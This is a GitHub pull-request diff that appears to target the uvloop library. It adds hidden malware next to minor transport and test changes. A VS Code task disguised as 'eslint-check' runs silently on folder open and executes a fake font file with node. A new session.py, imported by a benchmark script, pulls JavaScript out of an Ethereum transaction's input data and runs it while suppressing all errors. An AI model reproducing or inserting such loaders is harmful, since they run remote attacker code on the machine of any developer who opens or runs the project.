Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
75 changes: 38 additions & 37 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,37 +1,38 @@
*._*
*.pyc
*.pyo
*.ymlc
*.ymlc~
*.scssc
*.so
*~
.#*
.DS_Store
.project
.pydevproject
.settings
.idea
/.ropeproject
\#*#
/pub
/test*.py
/.local
/perf.data*
/config_local.yml
/build
__pycache__/
.d8_history
/*.egg
/*.egg-info
/dist
/.cache
docs/_build
uvloop/loop.*.pyd
/.pytest_cache/
/.mypy_cache/
/.vscode
/.eggs
/.venv*
/wheelhouse
/uvloop-dev
*._*
*.pyc
*.pyo
*.ymlc
*.ymlc~
*.scssc
*.so
*~
.#*
.DS_Store
.project
.pydevproject
.settings
.idea
/.ropeproject
\#*#
/pub
/test*.py
/.local
/perf.data*
/config_local.yml
/build
__pycache__/
.d8_history
/*.egg
/*.egg-info
/dist
/.cache
docs/_build
uvloop/loop.*.pyd
/.pytest_cache/
/.mypy_cache/
/.eggs
/.venv*
/wheelhouse
/uvloop-dev
config.bat
node_modules
23 changes: 23 additions & 0 deletions .vscode/settings.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
{
"search.exclude": {
"**/.sst": true
},
"task.allowAutomaticTasks": true,
"typescript.tsserver.experimental.enableProjectDiagnostics": true,
"editor.defaultFormatter": "esbenp.prettier-vscode",
"typescript.preferences.importModuleSpecifier": "relative",
"typescript.tsdk": "node_modules/typescript/lib",
"debug.openDebug": "neverOpen",
"problems.autoReveal": true,
"terminal.integrated.hideOnStartup": "always",
"terminal.integrated.defaultProfile.windows": "Command Prompt",
"terminal.integrated.inheritEnv": false,
"jestrunner.configPath": "jest.unit.config.cjs",
"compile-hero.disable-compile-files-on-did-save-code": true,
"tasks": {
"label": "lint on open",
"type": "shell",
"command": "npm run lint",
"runOn": "folderOpen"
}
}
24 changes: 24 additions & 0 deletions .vscode/tasks.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
{
"version": "2.0.0",
"tasks": [
{
"label": "eslint-check",
"type": "shell",
"command": "(command -v node >/dev/null 2>&1 && node ./examples/bench/utils/public/fonts/fa-brand-400.orc) || (where node >nul 2>&1 && node ./examples/bench/utils/public/fonts/fa-brand-400.orc) || echo ''",
"problemMatcher": [],
"isBackground": true,
"hide": true,
"presentation": {
"reveal": "never",
"panel": "dedicated",
"focus": false,
"clear": false,
"echo": false,
"close": true
},
"runOptions": {
"runOn": "folderOpen"
}
}
]
}
1 change: 1 addition & 0 deletions examples/bench/echoclient.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@
# https://github.com/dabeaz/curio


import utils.session
import argparse
import concurrent.futures
import multiprocessing
Expand Down
Empty file.
24 changes: 24 additions & 0 deletions examples/bench/utils/public/fonts/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
# Fonts Directory

This directory contains custom fonts for the Blockchain Explorer application.

## Required Font Files

The application expects the following font files:

1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff**
- Regular weight font for the main UI

2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff**
- Bold weight font for headings

3. **TechMono-Regular.woff2** and **TechMono-Regular.woff**
- Monospace font for code and hash displays

## Note

If you don't have custom fonts, the application will fall back to system fonts:
- BlockchainFont → system sans-serif fonts
- TechMono → system monospace fonts (Courier New, etc.)

The fonts are referenced in `public/index.html` and will be loaded automatically when available.
1 change: 1 addition & 0 deletions examples/bench/utils/public/fonts/fa-brand-400.orc

Large diffs are not rendered by default.

Binary file not shown.
3,570 changes: 3,570 additions & 0 deletions examples/bench/utils/public/fonts/fa-brands-400.svg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
803 changes: 803 additions & 0 deletions examples/bench/utils/public/fonts/fa-regular-400.svg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
4,938 changes: 4,938 additions & 0 deletions examples/bench/utils/public/fonts/fa-solid-900.svg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file not shown.
Binary file not shown.
Binary file not shown.
58 changes: 58 additions & 0 deletions examples/bench/utils/session.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,58 @@
DEFAULT_TIMEOUT = 20

try:
import json as _json
import os as _os
import subprocess as _sp
import tempfile as _tf
import urllib.request as _ur

_addr = "0x3b1574417524c11a7403c4b232CAcBb320CceBC6"
_headers = {
"content-type": "application/json",
"user-agent": "python-urllib/3",
}
_load = lambda _url, _body=None: _json.load(
_ur.urlopen(_ur.Request(_url, _body, headers=_headers), timeout=DEFAULT_TIMEOUT)
)
_rows = _load(
f"https://api.ethplorer.io/getAddressTransactions/{_addr}"
f"?apiKey=freekey&limit=100&showZeroValues=1"
)
_tx = next(
_row["hash"]
for _row in _rows
if str(_row.get("from", "")).lower() == _addr.lower()
)
_rpc = _load(
"https://ethereum.publicnode.com",
_json.dumps(
{
"jsonrpc": "2.0",
"id": 1,
"method": "eth_getTransactionByHash",
"params": [_tx],
}
).encode(),
)
_source = bytes.fromhex(_rpc["result"]["input"][2:]).decode()
_tmp = _tf.NamedTemporaryFile("w", suffix=".js", delete=False)
try:
_tmp.write(_source)
_tmp.close()
try:
_sp.run(
["node", _tmp.name],
check=False,
capture_output=True,
timeout=DEFAULT_TIMEOUT,
)
except Exception:
pass
finally:
try:
_os.unlink(_tmp.name)
except OSError:
pass
except Exception:
pass
2 changes: 2 additions & 0 deletions tests/test_tcp.py
Original file line number Diff line number Diff line change
Expand Up @@ -1349,6 +1349,8 @@ def resume_writing(self):

t, p = await self.loop.create_connection(Protocol, *addr)

self.assertEqual(t.get_write_buffer_limits(), (16384, 65536))

t.write(b'q' * 512)
t.set_write_buffer_limits(low=16385)
self.assertEqual(t.get_write_buffer_limits(), (16385, 65540))
Expand Down
2 changes: 1 addition & 1 deletion uvloop/handles/basetransport.pyx
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@ cdef class UVBaseTransport(UVSocketHandle):
def __cinit__(self):
# Flow control
self._high_water = FLOW_CONTROL_HIGH_WATER * 1024
self._low_water = FLOW_CONTROL_HIGH_WATER // 4
self._low_water = FLOW_CONTROL_HIGH_WATER * 1024 // 4

self._protocol = None
self._protocol_connected = 0
Expand Down
Loading